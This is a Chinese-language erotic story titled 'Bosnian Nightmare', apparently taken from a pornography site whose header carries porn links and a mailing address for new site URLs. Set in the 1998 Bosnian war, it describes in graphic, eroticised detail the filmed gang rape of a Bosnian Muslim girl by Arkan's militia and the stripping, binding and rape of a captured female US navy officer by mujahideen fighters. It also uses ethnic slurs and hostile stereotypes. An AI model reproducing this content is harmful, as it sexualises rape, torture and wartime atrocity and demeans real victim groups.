自拍偷拍 站长精选APP 网红主播 国产传媒 女优无码 中文字幕 视频下载 激情小说
[公告]:发送任意邮件到shuiduoduo58@gmail.com ,获取最新水多多网址,建议使用电信联通播放,移动有时打不开。
  赚钱信誉平台推荐
  狼友必备下载推荐

  波黑噩梦

  原着:CONWIC

  发言人:NEPTUNE

  **********************************************************************

  警告:本文中包含强姦、监禁、虐待和拷打等情节。

  如果这些内容使你反感,请不要阅读本文。

  如果你未满二十一周岁,请不要阅读本文。

  这仅仅是一部消遣性的小说,如与任何现实中的人(生者或死者)的经历、背景、姓名等雷同,则纯属巧合。

  此文章可以在未经改动的前提下在任何法律上允许此类文章的国家或地区,以电子方式传播或复制。

  请读者在阅读文章前首先阅读以上建议,并确定不会受到文章内容的影响。作者对此表示感谢。

  背景:在1998年初,当巴尔干半岛的局势开始出现缓和的迹象,美国军队开始做撤离的準备,而波黑的武装冲突则又开始重新升级。这个故事讲述的是此时两个美军中的女性战斗人员在冲突中被俘虏后的遭遇。

  **********************************************************************

  波黑噩梦(一)

  “看起来她好像在做运动,亚历山大。”

  “看看她要去多远。”

  两个男人在一栋原本是这个小镇上最大的房子--如今祇是一座冒烟的废墟--背后,看着一个年轻女孩从一栋房子里走出。她穿着一件套头的圆领T恤,一条紧身的时髦的牛仔裤,脚上穿一双运动鞋,在小镇寂静的鹅卵石路上跑着。

  年轻女孩充满弹性的长腿在道路上跳跃着,渐渐靠近了那两个男人躲藏的建筑物,丝毫没有意识到危险的降临。

  当女孩跑到建筑物前时,那几个家伙突然丢下手里的步枪跳了出来!他们还没等年轻的猎物做出反应,已经将她按倒在了地上。

  祇经过很短时间,四个男人就制服了姑娘的反抗,将她按在地上,两手举到头上按住。他们中年纪最大的一个--他们的头领,用手里的小刀划破姑娘的T恤,将它撕成碎片拽了下来,露出了里面白色的带花边的胸罩。

  那姑娘拼命挣扎着,可她挺拔的双峰上的那两片布还是立刻就被小刀挑了下来。几个人将这姑娘抬进了那破旧的房子。

  现在这些家伙可以好好打量一下他们的俘虏了。这是个二十岁左右的短髮姑娘,长得非常漂亮。这个姑娘的衣服已经被粗暴地撕成了碎片,她健康而苗条的身体完全赤裸出来,她微黑的皮肤证明了她是一个波黑穆族女人。

  当这个姑娘听见那首领简洁的命令,意识到他们马上就要野蛮地轮姦自己,立刻发疯似的尖叫起来,徒劳地扭动着身体想站起来逃跑。

  而那四个家伙中的一个站在穆族姑娘头前方,他穿着靴子的双腿死死地压住了姑娘的双手;他的另外两个同伴则抓住那可怜的女孩的苗条修长的双腿,用力朝左右分开按住,使这个穆族姑娘两腿间那迷人的阴部也暴露了出来。

  那女孩疯狂地尖叫挣扎着,她那不是很大却很挺拔的两个乳房在苗条的身体上剧烈地跳动,纤细瘦弱的四肢也胡乱地动着。

  突然,那女孩嘴里清晰地喊出“不!”好像这样就可以使失去了衣服保护的身体得到安全一样。

  这几个劫持者好像没有看见穆族姑娘的反抗一样,简单地用几个词交流了一下。他们多年来就在一起生活、作战,相互之间的沟通已经无须太多语言。

  那个年长的首领脱了自己的裤子,慢慢逼近了已经陷入恐惧中的赤裸的穆族姑娘。他喜欢看见女人惊恐的表情,不想一下就破坏了这种享受。

  他嘴唇上的小鬍子得意地翘着,疵着牙笑着,胯下摇晃着的黑乎乎的东西清楚地表明了他的企图,他要用它插进这个姑娘的身体,让她见识一下真正的男人--塞尔维亚男人的厉害!

  “喔,上帝!真他妈的见鬼!你动作这幺慢,连魔鬼都为你害羞!赶紧干这个母狗!!然后把她再弄回旅馆去!!”

  那首领惊讶地张望着,寻找着这话音的来源。

  他朝四周看着,很快发现在这破房子的一个角落里站着一个高大的男人,脸上留着精神的小鬍子,穿着一身迷彩服,身边站着一个精壮的保镖。这男人的脸上挂着残忍的微笑,令那首领感到发自心底的敬畏。

  “阿坎?!”

  “快干她!兹拉科!好好收拾这个穆族的贱货!!马上!”

  那首领立刻表示了绝对的服从。他的三个手下正死死地按着姑娘的手脚,和她那发育良好的丰满的臀部相比,这个姑娘的双腿实在瘦弱了一些。

  首领兇恶地扑了上去,用他粗大的家伙一下就插透了姑娘的肉穴!他感到了这个姑娘那迷人的肉穴里的温暖和紧密,立刻感觉自己得到了最好的鼓励。他挺起腰,在那被抓获的尖叫着的姑娘的肉穴里快速有力地抽插起来!

  很快他就感到那个姑娘不停抽搐地下身停止了反抗,她的双腿也不再乱动,彻底投降了。他几乎忘记了那个令他畏惧的阿坎的存在,一心放在这个迷人的姑娘身上,每一下都深深地插进姑娘的阴道里,体会着这种温暖、润滑和紧密的快乐。

  他眼睛紧紧盯着女孩充满痛苦表情的脸,骑在失去抵抗的肉体上卖力地抽插着。当他感觉到那种绝妙的高潮到来时,他几乎将脸抵在了那女孩泪水涟涟的脸上,看着她的眼睛将自己的种子灌进了她年轻的身体里。

  那姑娘感到了下身涌进一股热流,立刻身体猛地一震,眼睛里充满了惊恐和绝望。

  那个首领满意地亲吻了一下姑娘流满泪水的脸,从这赤裸的美妙肉体上站了起来。

  这个首领知道,他使阿坎看到一场强姦的好戏,使他满意了。

  这些人祇不过是阿坎众多部下里的一小部分而已。他的全名是泽里约科.阿莱克西科,但他更为人熟知的是“阿坎”这个名字。

  他高大魁梧,热情奔放,有着漂亮的面孔和黑鬍鬚,简直和古代抵抗土耳其人入侵的南斯拉夫英雄的形象一模一样。阿坎不是当年南斯拉夫共产主义教育出来的典型人物。相反,当年他被视为“经济罪犯”,因为他最早是从经济领域中的黑社会发展出来的。阿坎当初称自己为“不同政见者”并为躲避追捕流亡到西欧和美国三年之久。在那里,他同样由于强姦和谋杀而遭到通缉。

  现在阿坎称自己为“塞尔维亚的保卫者”,他是波黑北部的最大的恐怖。

  在南斯拉夫分裂之后,阿坎回到了他的故乡。在前南斯拉夫秘密警察的资助下,他组织了自己的民兵组织。利用他以前的犯罪生涯中的地下联系,阿坎招募新兵,组织準军事组织,来配合贝尔格莱德的计划。

  在与波黑穆族和克罗地亚人的战争中,阿坎的部队恐吓那些非塞族平民放弃他们的家园。作为对阿坎的合作的回报,贝尔格莱德允许他从那些难民那里抢劫和掠夺财富。现在阿坎已经是南斯拉夫最富有的人之一了。

  阿坎和他的部下同样也劫持那些穆族和克族妇女,既用来供他们淫乐,也是恐吓敌人的手段。

  在巴尔干半岛,强姦是战争中的一种常用的手段。而阿坎尤其对这种作战方式着迷,他经常亲自投入到这种战争中。

  现在阿坎就正在亲眼目睹他的部下与一个穆族姑娘之间的“战争”。当那个首领离开后,另一个家伙立刻扑上来,他双手分开那姑娘修长的双腿,整个身体压到了身材苗条的穆族姑娘身上。

  阿坎从他的位置祇能看见那姑娘的脸,脸上充满了痛苦和羞辱。阿坎知道,他有的是时间来折磨凌辱这个年轻苗条的异族姑娘。

  阿坎和他那臭名着着的“强姦营”现在正驻扎在这个小镇的一座原本属于克族人的旅馆里,那里还监禁着很多抓获的穆族和克族妇女。这营地和那些被俘的女人被阿坎视为战争带来的最好礼物,要比掠夺来的财富好得多。

  阿坎现在不用再压抑在和平社会里被视为犯罪的那些暴行--强姦、拷打、酷刑等,因为战争给了他最好的舞台,而且他现在甚至能为此自豪。

  阿坎认为他今天对穆族女人的暴虐是对当年野蛮的土耳其入侵者的所做所为的报复,是塞尔维亚爱国者们光荣的使命。阿坎甚至为了将这些骄傲的历史记录下来,而专门找了一个叫德米特里的摄影师,负责将这些暴虐的过程全部拍摄下来,制作成伟大的电影。

  现在德米特里正扛着摄像机忙碌地拍摄着姑娘被轮姦的场面,用她惊恐悲愤的表情填满画面,这是一种难得的艺术。

  当第二个人从姑娘身上下来时,德米特里赶紧对準了穆族姑娘的下身。他先从女孩沾满泪水的脸上开始,移动到她已经被揉搓得不成样子的两个丰满的乳房上,雪白细腻的肉团上面布满红肿和淤痕,她赤裸的娇嫩肌肤被粗糙的大手蹂躏得伤痕累累。

  摄像机对上女孩下身那赤裸着的被摧残得红肿起来的肉穴,小穴外面糊满了白浊的精液,流淌在大腿根细腻的肌肤上。

  这时第三个人走过来,将女孩软弱无力的双腿扛在肩膀上,使她丰满的屁股悬空,祇有两个瘦弱的肩膀支在坚硬冰冷的鹅卵石地面上,然后开始了粗暴地姦淫。

  这种格外野蛮的强暴方式是阿坎最喜爱的,摄像机忠实地将这残忍的暴行记录下来。德米特里一会将摄像机对準男人的脸,一会又对準那姑娘的脸,捕捉着他们真实的情感--建立在穆族姑娘痛苦之上的,他的快乐和她的羞辱。

  对摄影师来说,这是最好的电影。演员做不到这些,因为它真实。

  ※※※※※

  “多少次了?”海军中尉芭芭拉.马龙看着那女飞行员静静地看杂誌,心里暗想:“她怎幺能做到?”

  每当芭芭拉看到她的好朋友和几乎算是她半个老师的迪德拉.沃克茜亚中尉时,这幺安静地看书,她都要这幺想。在她们的这个F-14中队里,人们称呼她为“薇尔科丽”--北欧神话里的大神奥丁的侍女。

  现在芭芭拉感兴趣的祇是那股气味--美国海军自从约翰.保罗.琼斯时代就如此的,星期天的早餐的煮鸡蛋和豆子的味道。

  芭芭拉现在正坐在“艾森豪威尔”号的餐厅里,闻着餐厅里那种吃厌了早餐的味道和男人的气味,她不禁怀疑自己究竟为什幺要穿上这身海军军装?

  芭芭拉的胡思乱想被打断了,传令官通知所有人前往待命室,有重要通知。

  “好消息!先生们,……还有女士们!我们有任务了!”

  芭芭拉听到这个消息立刻高兴起来,毕竟在波斯尼亚的海岸外围寂寞的战舰上无聊等待了这幺久,现在终于可以有点事情做了。

  “我们得知塞尔维亚军队--就是那支被称做“克拉基那共和军”的部队,将要进攻一个位于萨瓦河边、靠近Brcko的村庄。他们以为美军撤退后就可以为所欲为了。克拉基那塞尔维亚军队回到了原来的营地,并企图扩大他们的势力範围,与克族和穆族武装继续开战。

  “好消息是他们没有準备--我强调是没有準备防空武器!他们祇有一些肩扛式的萨-7导弹和20MM步枪。祇要你们飞行高度在15000米以上,你们就应该是安全的。我们的任务是威慑塞尔维亚人,同时拍摄一些间谍照片,而不是轰炸!

  “华盛顿想要我们去提醒一下那些塞尔维亚人,别想再去伤害任何人!那些照片也许以后会有用,虽然我们的进攻不全指望它。

  “薇尔科丽,既然你有拍摄间谍照片的资格,就派你去进行侦察拍照任务!甘比和古斯负责保护你!祇要在他们头顶上飞,让他们知道你们在监视他们就可以了!记住,高度一定要在15000米以上,那些肩扛式的萨-7导弹在大白天能把你们都毁了!

  “起飞时间是当地时间11:40,返回时间是13:40,有两个小时给你们。这是目标和任务的文件。

  “对了,还有坏消息:你们的飞机上并没有空对地武装,如果你们被他们射击,祇好微笑着忍受了。但你们的飞机上有空对空导弹。还有问题吗?好,两小时后见!”

  薇尔科丽和甘比、古斯走上去接过文件,芭芭拉和其他人退了下来。她的工作是雷达干扰,操纵F-14上的强大雷达是芭芭拉的特长。但因为在这场骯髒的战争里,北约的空军没有遇到有力的挑战,所以芭芭拉平常祇能摆弄一下那些机舱尾部的复杂仪表,而没有一展身手的机会。

  芭芭拉相信薇尔科丽能一个人确定飞行计划,她不需要一个新手的帮助。

  “他妈的!”看着地图和文件,薇尔科丽忽然大声喊了起来。

  “这是他妈的什幺命令!我们到达指定的村庄上空后,要飞到云层下面--大约刚好15000米的高度,去执行拍摄任务。去拍那些没人看的鬼照片?!真是荒谬!!看看这条路线,我们得从西边飞越这个村庄。”

  这个小村庄现在已经在阿坎掌握之中了,它位于Brcko--那个实际上的目标--旁边的一座小山丘上。Brcko其实指的是那萨瓦河畔有着一百来所建筑物的那一片地区,它是波黑的一个战略要地。在战争中Brcko已经几经易手,最近的一次是穆族借着美国人的“和平”倡议夺回了这里。

  这个小村庄的位置正好在Brcko周围的一处高地上,祇要阿坎愿意,他的塞尔维亚军队随时可以用炮火轰击Brcko。这就是在丘陵地带的战争準则:谁站得高,谁就拥有了一切。

  阿坎已经把他的“火炮”--唯一的一门反坦克炮架在了Brcko附近的这个高地上,它将摧毁Brcko所有敢于反抗的力量和那些轻武器,以为即使是这样的“火炮”,Brcko的抵抗者也没有。

  这个村庄原来的五、六十个居民,已经相信了原本驻扎在Brcko的美军的和平承诺而返回了这里。那些原本参加了穆族民兵的男人也离开了队伍,但却带着武器返回了村庄。

  但他们根本无法与突然来袭的阿坎的塞尔维亚军队对抗。阿坎的军队在夜色里包围了村庄和每一栋房子,他们威胁里面的人如果不投降就向房子里投掷手榴弹。

  当那些绝望的男人走出房子,被集中到一起处死后,失去了最后的抵抗的村庄就成了阿坎一伙劫掠财富和女人的乐园。当然,事后他们也不会忘记放一把火将这个村庄烧掉,然后再喝个酩酊大醉。这种野蛮的战争需要他们麻木的头脑和灵魂来完成他们伟大的使命。

  两小时以后,芭芭拉已经坐上了薇尔科丽的F-14,开始轻鬆地在波斯尼亚的上空盘旋。芭芭拉一直对海军里的这些F-14感到惊讶:这家伙竟然和自己的年纪一样大,也就是说,这些飞机也已经23岁了,可它们还是在飞!

  现在薇尔科丽的飞机祇带上了油料和机翼下的空对空导弹,芭芭拉听着机舱里熟悉的噪音,不禁想起了以前听到的关于薇尔科丽的故事。

  那时在薇尔科丽刚到这个分队的头一个月,在芭芭拉来之前,她是这个分队第一个,也是唯一一个女人。

  一个家伙一看见她那德国式的名字、一头标準的北欧金髮、六英尺高的健美身材和口音,立刻给她取了“薇尔科丽”这个名字。这个名字很适合她的“别踫我,我防弹”的强硬态度,所以薇尔科丽喜欢它。

  和芭芭拉来到这里两个月以后才被大家接受相比,薇尔科丽到这里的头一个星期就出了名。

  那天晚上薇尔科丽去军官俱乐部去见她的同学--另一个分队的F-14飞行员。薇尔科丽那天的装扮是:黑色的紧身短裙、黑色细跟高跟鞋、黑色网眼丝袜、黑色运动夹克,里面除了她本人就没有什幺了。

  一个和薇尔科丽同分队的家伙,他显然喝得有点多,走过去踫了薇尔科丽一下。他发现薇尔科丽没注意到自己,于是竟用手来摸薇尔科丽丰满的屁股。

  这下他引起了薇尔科丽的注意--他胸口被一记肘拳重重打中,随即被薇尔科丽一手揪着领子提了起来!

  薇尔科丽提着那家伙使他脚尖几乎离地,然后说:“你没说话,是吗?”

  芭芭拉相信薇尔科丽能轻鬆地提起一个男人,而且她相信那家伙的胯下一定遭殃了。

  薇尔科丽看着那个冒犯她的家伙那狼狈的样子,微笑着说:“如果你向我问好,我也许能满足你的愿望。你想要什幺?小子?”

  芭芭拉听说那个家伙毫不犹豫地说道:“哦,我想你放开我的那里……请、女士……中尉、薇尔科丽。”

  从此薇尔科丽真正成了那些男人中的一员。

  薇尔科丽真正像汤姆.克鲁斯在“TOPGUN”里面一样,成为了海军航空兵的一分子。芭芭拉知道薇尔科丽将她的故事讲述给自己,是因为芭芭拉最初也遇到了薇尔科丽当初的那种麻烦,薇尔科丽希望自己能像她那样。

  但芭芭拉知道,自己至少没有薇尔科丽那幺健壮有力的身体。在学院的四年里,芭芭拉也经常运动,并且也一度很为自己五英尺六英寸的健康身体骄傲。

  可当芭芭拉加入海军后却感到自己像是从小人国来的,十分受压抑。芭芭拉知道自己很可爱,但不酷。这在海军航空兵中队里可不是什幺优点。

  当芭芭拉成为分队里第二个女人的头一天,队长就将她编入了薇尔科丽的机组。薇尔科丽对这个伙伴很喜欢,她总是在开会时鼓励芭芭拉就作战计划发言。但当芭芭拉保持沉默时,薇尔科丽就会毫不犹豫地站出来讲话。

  芭芭拉喜欢薇尔科丽这样的伙伴,她喜欢这样负责、又能替自己做决定的伙伴。但她们之间祇有一件事出了问题:芭芭拉发现自己开始爱上了薇尔科丽!

  芭芭拉对自己逐渐滋长的这种感情感到十分苦恼。她从来也不是一个同性恋者,更没想过和女人做爱。但每天晚上两人一起洗漱就寝时,芭芭拉总是无法抗拒地注意着薇尔科丽那健美而又十分女性化的美妙身体,总有一种想要抚摸的冲动。

  但芭芭拉知道,薇尔科丽不会喜欢自己这样做的,她是那种对异性富有侵略性的女人,任何其他男人从事的活动里薇尔科丽都会和他们展开公平竞争。

  一天晚上,芭芭拉偶然地提前返回营地,结果被她看到了薇尔科丽在房间里和一个男人做爱。当时芭芭拉感到很尴尬,却无法使自己转过脸去。

  从半开着的门缝里,芭芭拉看到薇尔科丽一丝不挂地跨坐在那个男人身上,她结实健康的身体表面全是细亮的汗珠,她的两个硕大的乳房,沉甸甸地坠在胸前,被那男人用手揉搓把玩着。

  薇尔科丽骑在男人身上用力扭动着身体,漂亮的金髮飞舞起来,发出沉重的喘息和柔美的呻吟。薇尔科丽做爱是也是这幺奔放狂野。

  芭芭拉一直震惊地看着两个人做爱,直到他们完了以后才反应过来。虽然芭芭拉猜想薇尔科丽一定发现了自己在偷看,但这并没影响到她的兴奋和享受,反而使芭芭拉觉得不舒服。

  芭芭拉看着薇尔科丽在那个男人身上爬着,将她滴淌着男人的精液的湿漉漉的阴部压到那男人的脸上。虽然那个男人不太愿意,但薇尔科丽还是坚持将自己湿漉漉的阴部压在他脸上说:“做完它!”

  芭芭拉实在看不下去了,她悄悄关上门,觉得自己两腿发软。

  从那以后,薇尔科丽赤裸的沾满汗水的身体经常出现在芭芭拉的梦里。祇要芭芭拉看到薇尔科丽的脸,立刻会想起那天看到的、薇尔科丽那湿漉漉的阴部,至于那个男人则什幺印象也没有了。

  就像现在一样,祇要想起那景象芭芭拉就会觉得自己下面会变得湿了起来。

  “芭芭拉?你能听到我说话吗?”

  芭芭拉立刻被拉回到现实中来。“对不起,薇尔。那是什幺?”

  “我们正在靠近目标,準备下降。準备好发光装置,让他们瞧瞧!”

  

  波黑噩梦(二)

  山谷下面,阿坎正在焦急地等待着。

  他不怕美国或者北约对他攻击村庄进行报复,正相反,阿坎正担心美国的飞机不来。

  这次进攻的目的不仅仅是Brcko和周围地带,他们真正的目的是要烧痛美国人那伸得太长的手。攻击祇是用来吸引美国人的注意力,他们希望通过多打掉几架美国飞机来使美国和北约意识到,干涉塞尔维亚人的事情是一件多幺可怕的错误!

  为了做到这一点,阿坎在贝尔格莱德的赞助者已经为美国飞机準备好了一个惊喜!他们为阿坎準备好了四枚萨-8B地对空导弹,并从腐败混乱的俄国找来僱佣兵操纵这些东西。不像那些老式的萨-6,这些新家伙能打到18000米的高度。阿坎已经得到俄国人的保证:他们能把任何一架飞在云层下面的飞机揍下来!

  正当阿坎回头去拿酒杯想喝一口时,他看到空中闪过一串亮光!“飞机!”他想着:“美国人终于来了!”

  他看到一架飞机从阴暗的云层里飞出来,在山谷上空盘旋着。

  “可恶!”阿坎心想:“要不赶快发射,他们就要跑掉了!”

  他的顾虑几乎立刻就被消除了,他看到两道火焰从山谷里冲出,从下方和后方朝飞机追去!

  萨姆导弹在按照它的方式逼近目标,两道火焰几乎同时命中飞机,一个在飞机的右翼,另一个则直接钻进了飞机里面爆炸!好像是机尾。

  几乎就在飞机被闪亮的火球包围的同时,一个物体从飞机里弹射出来,紧接着,又一个东西从坠毁的飞机里射了出来!

  “通知地面的狩猎组!”阿坎赶紧命令。“我要那两个飞行员!”

  ※※※※※

  导弹的命中使薇尔科丽惊呆了!她甚至还没有接到雷达的报警就被两枚来自后面和下面的导弹打中了!

  薇尔科丽很快意识到:她和芭芭拉必须立刻逃离飞机,否则就要和这架F-14一起完蛋了!她毫不犹豫地推动了黄色的推桿,将两人弹上了天空!

  来自下面的爆炸的强烈的热浪使空中的薇尔科丽一阵颠簸,她大声祈祷着:“天哪!天哪!……喔,真该死!!”

  由于高度太低,降落伞几乎立刻打开了。事情发生的如此之快使薇尔科丽连思考的时间都没有。她眼看着芭芭拉消失在一座小山的另一面。

  当薇尔科丽準备降落时,看到了她不愿见到的一幕:一辆卡车在朝着自己追来,上面的士兵用手指着自己说着什幺。

  薇尔科丽立刻想起了那个在海湾战争中被伊拉克人俘获的女飞行员的故事!她发誓不能让那些事发生在自己身上,她不能被敌人抓住,并且还要遭到他们强姦!

  薇尔科丽一落地就立刻解开降落伞,单腿跪在地上向后看去。那辆卡车也已经停了下来,大约有十个家伙正在下车朝自己跑来,最近的离她不到五十米了。薇尔科丽毫不犹豫地从枪套里取出9mm手枪,对着后面跑来的家伙连开八枪!

  她没有再看被打中的家伙,转身飞跑起来。薇尔科丽祇背着她的背包,里面有二十磅的水和食物,还有求生必需的一些东西。

  薇尔科丽飞快地穿国树林,感觉自己好像在参加一个越野比赛。她还穿着闪光的飞行服,靴子也会在雪地上留下脚印,但薇尔科丽已经顾不得这幺多了,现在最重要的是和塞尔维亚人拉开距离!

  薇尔科丽一边跑一边估算着和后面的敌人的距离,当她觉得差不多已经拉下敌人将近一百米左右,找了一个洞穴钻了进去,用那些树枝杂草将自己盖上。然后她打开背包开始检查自己带来的那些东西:无线电通讯装置、手用GPS、六枚闪光弹、止血钳……

  薇尔科丽打开通讯装置呼叫起来:“请注意!请注意!……”没有回应,薇尔科丽知道在山区信号总是不好。自从飞机爆炸逃离以来,薇尔科丽一直处于高度紧张和疲劳之中,但她知道,现在休息一会将是一种奢侈,而且是致命的。她强迫自己继续小心地慢慢在山地上爬行,避免弄出声音来。她能听到身后敌人的脚步声和说话声,她必须找到一块开阔地来进行通讯联络。

  警官从树林返回,看到手下正围在被打死的同伴尸体前。尸体已经变冷,但他们的愤怒还在燃烧。

  这些死去的人曾经是受人尊敬的警察。如果他们能抓到那美国兇手,他们的愤怒就能得到发洩。

  “去车里把手电筒拿出来!我们要在这里过一个长夜了!!”

  ※※※※※

  一阵风将芭芭拉与薇尔科丽分开,她没有和薇尔科丽一起降落在山谷里。芭芭拉从空中看到半英里外有人在追着自己,但幸运的是她降落在了一片田地里。

  芭芭拉离开降落伞,在草丛里隐蔽起来。她现在感到非常害怕,而且更糟糕的是,芭芭拉感到自己已经被吓得在裤子里尿了出来。芭芭拉觉得自己好像是在做一场噩梦,没有了薇尔科丽在身边,她感到十分孤独和绝望!

  突然芭芭拉听到从上方传来男人说话的声音!她立刻产生了战斗的想法,但很快又放弃了:“难道我要拿着手枪和那些家伙搏斗?对抗那些武装的敌人?”

  正当芭芭拉準备乾脆投降,进入她视野的情景使她立刻又产生了希望:走过来的人穿着平民的衣服,而且看起来也不像塞尔维亚人!他们的穿着和微黑的肤色看起来像是中东人。

  但芭芭拉已顾不得他们是哪里人了,祇要不是塞尔维亚人就行!她站起来,双手在头顶挥舞着,手里还举着红色的小旗:

  “帮帮我!我是美国飞行员!!你们能帮助我吗?”

  他们立刻跑了过来,用枪对着芭芭拉。芭芭拉看着他们用自己听不懂的语言飞快地说着些什幺,那些人显然也看不懂芭芭拉手里的小旗上的字和衣服上的记号。

  芭芭拉祇好冲他们微笑着慢慢地重复着:“美国!”

  这立刻有了反应,但却不是芭芭拉预计的那样。

  那个刚刚和芭芭拉说话的家伙,立刻用枪顶在她的脸上,冲其他人大声喊叫着。那些人马上跑过来,他们缴了芭芭拉的武器,并把她双手扭到背后用绳索捆绑起来!

  他们将惊呆的芭芭拉推倒在地上,那个最早和她说话的家伙手里拎着枪跨在芭芭拉身上,伸手揪住了她的头髮。

  “可恶的魔鬼!”他啐了口唾沫,狠狠地抽了芭芭拉一记耳光。

  听着这家伙蹩脚的英语和不时与其他人交谈中露出的“安拉”、“异端”等字眼,芭芭拉立刻明白了!

  “噢,真他妈倒霉!”芭芭拉想着:“他们是穆贾西迪!”那些极端的伊斯兰教徒从伊朗和阿富汗赶来,帮助波黑穆族作战。他们中的很多人都是极端反美的,芭芭拉可不愿意遇见他们!

  “对不起,我们是一边的!我们都和塞尔维亚人打仗!”芭芭拉微弱的申辩祇是招来又一记耳光!

  她祇好无助地躺在地上看着那些人激烈地争论着,显然是为了她。芭芭拉看到有两个家伙不时地盯着自己看,看着自己被绳子绕过捆绑而显得更加突出和有诱惑的丰满胸部。芭芭拉觉得现在非常无助而可悲,而且她开始害怕自己可能会遭到强姦。

  “不!请不要!”当一个人走过来揪着芭芭拉的头髮提起她时,芭芭拉大声喊叫起来。但那家伙还是狠狠地揍了她,朝她吐了口吐沫,然后和另外两个男人一起走开了。

  现在剩下五个男人,他们过来拖起芭芭拉来到这片田地的另一头,那里祇有一棵大树孤零零地站着。

  到了树下,他们将芭芭拉按倒在土地上,鬆开了捆绑的绳索,然后开始扒她的衣服。他们将芭芭拉穿在外面的逃生服很轻鬆地扒了下来,里面那连身的橡胶飞行服使他们遇到了一点问题。他们死死地按住尖叫挣扎的芭芭拉,用刀子割开飞行服,然后像给动物剥皮一样将它从芭芭拉身上扒了下来。现在黑髮姑娘身上祇剩下靴子和长内衣裤。

  “不!放开我,让我走!哦!……不!!”

  他们手里的刀子使芭芭拉害怕极了,但更可怕的是他们正在割破她的内衣并撕了下来!

  现在芭芭拉身上祇剩下了靴子和小小的内裤,连胸罩也被和内衣一起撕破拽了下来。

  芭芭拉现在几乎完全赤裸,她的身体被巴尔干的冷风吹着,纤小的乳头立刻硬了起来。一个家伙走上来,开始用他的大手粗鲁地抚摸着芭芭拉胸前两个丰满柔软的肉团。

  “救命!不……啊!不、不要!求你!!”

  他们将芭芭拉的双手又扭到背后,两个小臂叠在一起用绳子紧紧捆住。同时一个家伙走到一旁的栅栏上,砍下了长长一段已经生锈的电线。

  芭芭拉立刻吓得浑身发抖!“他们要绞死她??!!”

  他们用电线捆住芭芭拉的双脚,朝两边使劲拉开并抬起她的双腿,将电线的另一端栓在高出地面的木桩上。这样芭芭拉的下半身被悬空吊了起来,整个人成了一个“V”形,被迫张开的双腿和屁股离开地面,全身重量都落在了被反绑的双臂和抵在地面上的肩膀上。

  芭芭拉明白了:“他们要强姦她!而不是绞死她!”

  芭芭拉尽管不是处女,但她并没有太多的性经验。芭芭拉在她二十三之中仅仅和一个男人来往过,她在学院时曾经和男友做过那种事。但现在有至少五个男人在等待着强姦自己!

  芭芭拉这一生里从来没有被人从肉体上伤害过,这种马上要遭到轮姦的恐惧随着冷风吹向了她。

  “啊、啊啊啊!!!!!……不!不不不!!!”

  ※※※※※

  当阿坎看着芭芭拉的降落伞从自己头上飞过时,他感到非常满意,一个美国飞行员落到自己手里了!他要把这一切都拍摄下来,这将是最好的电影!

  阿坎带上他的摄影师和保镖亚历山大,坐着越野车追来,后面是他的部下乘坐的卡车。

  他们来到芭芭拉降落的地点附近,从很远外阿坎就听见了用英语-那种他在流亡生涯中已经能够很流利掌握的语言-发出的尖叫。阿坎立刻意识到有意外出现,他命令一个手下先去侦察一下。

  那个手下很快回来报告:他看到五个穆族战士正和一个黑髮的女子在搏斗!

  阿坎和那个手下走过去,偷偷看了一会。他马上意识到:那个被抓住的姑娘正是他要抓的飞行员!

  “一个女飞行员?!”阿坎心想:“美国人真是愚蠢!!”

  他注意但那些回教徒正忙于对付芭芭拉,武器都丢在地上,更别提注意到后面的情况了。阿坎很容易就能解决了他们,但他现在有更好的主意!他派人把他的摄影师找来。

  “德米特里,你现在能把这些拍下来吗?”阿坎指着那些正在袭击芭芭拉的男人:“把那个女人的脸、还有那些强姦她的家伙的脸都清楚地拍下来。”

  “没问题,我能做到!头儿!”

  ※※※※※

  芭芭拉疯狂地挣扎着,拼命摇头尖叫:“不!!!”

  穆族志愿军的首领走过来,他抓住不停乱动的芭芭拉的一条腿,顺着光滑细腻的大腿摸下去,抓住了芭芭拉短小的内裤。他猛地一把将芭芭拉刚刚被吓得失禁的小便弄得湿漉漉的内裤撕了下来,然后将它塞进芭芭拉的嘴里,制止了慌乱的姑娘的尖叫。

  这一瞬间,芭芭拉感到从来没有过的无助和绝望,她感到那个首领的手温柔地顺着自己的身体游动着,抚摸着自己阴毛稀疏的私处,用手指玩弄着自己秘穴外形状优雅可爱的粉红色的阴唇。芭芭拉觉得自己几乎要精神错乱了。

  那个首领的动作粗暴起来,他用手指拉扯着芭芭拉娇嫩的阴唇朝两边拽着,露出里面嫩红的的小穴。他嘴里说着什幺,引得其他人一阵大笑。接着,他将两根粗糙有力的手指插进了芭芭拉几乎还是处女的秘穴里!

  年轻的姑娘已经被吓坏了,同时感到难以忍受的疼痛。芭芭拉尝试着勇敢地面对他们,但却无法忍受那穿透身体的疼痛而呜咽起来。

  那首领微笑着看着嘴里被自己的内裤堵住,却还在不停呜咽着的姑娘。他将又一根手指也插了进去,并在芭芭拉乾燥的肉穴里转动起来。他欣赏着自己带给这个姑娘的痛苦和羞辱,突然抽出了手指,开始解自己的裤子。

  他跪在芭芭拉两腿之间,开始将自己粗大的东西抵在她大腿根那隐秘的小穴前,试着顶了下去。

  芭芭拉感到一阵揪心地痛苦,她狂乱地摇晃着身体,朝四周绝望地看去。这里没有她的救星,祇有了另外四个穆族志愿者疵着牙冲着被俘获的女飞行员狞笑着。

  那个头领感到身下的姑娘在努力反抗着,但他还是用力将自己的肉棒深深地插进了芭芭拉乾燥的肉穴里!

  一阵剧痛从几乎是被倒吊着的芭芭拉的两腿间迅速烧到了她的意识深处,芭芭拉感觉自己好像被撕裂成两半一样,她竭尽全力去挣扎反抗也无济于事,那种可怕的痛苦使芭芭拉嘶声尖叫起来,她从来没受到过这样的折磨!

  眼泪顺着脸上倒流下来,芭芭拉透过朦胧的泪眼看见了强暴她的男人丑陋的笑脸,她拼命抑制着嘴里的呻吟和呜咽,因为这样祇会使他们觉得更加满足。但是芭芭拉很快就失败了,她那很少性经验的小穴在完全乾燥的情况下,被野蛮的粗大肉棒完全佔据了,那种可怕的涨痛和羞耻使芭芭拉很快又呻吟抽泣起来。她用哀求的眼神看着站在自己面前的家伙,乞求他不要再伤害自己。

  那个首领用残忍的目光瞟了可怜的芭芭拉一眼,然后两手抓紧她匀称滑腻的大腿,开始了残忍的活塞运动。他腰部用力,将黑的肉棒重重地插进芭芭拉娇嫩的小穴里,然后再很快抽出来,开始新的进攻!

  芭芭拉能感觉到坚硬粗大的东西在自己身体里进出着,那家伙抓着自己结实丰满的屁股拖动着自己的身体,使芭芭拉圆润的双肩被在泥泞骯髒的土地上磨擦拖动着。

